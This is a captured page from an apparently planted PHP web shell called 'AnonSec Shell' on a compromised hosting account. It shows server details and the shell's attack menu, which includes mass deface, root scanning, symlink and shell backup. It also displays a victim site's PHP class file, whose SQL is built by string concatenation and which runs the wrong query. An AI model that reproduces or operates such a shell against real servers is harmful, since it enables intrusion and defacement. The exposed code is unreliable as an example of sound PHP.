AnonSec Shell
Server IP : 172.67.216.113  /  Your IP : 172.71.28.145   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/simded.com/class72/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/simded.com/class72/runid_Class.php
<?php
class Runid extends Connect
{
	public function run_id($tb)
	{
		$this->setconnect();
		$tb = $tb;
		$query = 'SELECT MAX(id) AS id_max  FROM '.$tb;
		$result = mysqli_query($this->setconnect(), $query);
		$row = mysqli_fetch_assoc($result);

		if($row['id_max'] == '')
		{
			$sql = "INSERT INTO ".$tb." (`id`)VALUES ('1')";
			$result = mysqli_query($this->setconnect(), $query);
			$id = 1;
		}
		else
		{
			$id = $row['id_max']+1;

			$sql = " UPDATE  ".$tb." SET  `id` =  '".$id."' WHERE  `id` = '".$row['id_max']."' ";
			$result = mysqli_query($this->setconnect(), $query);
		}
		return $id;
	}
}
?>

Anon7 - 2022
AnonSec Team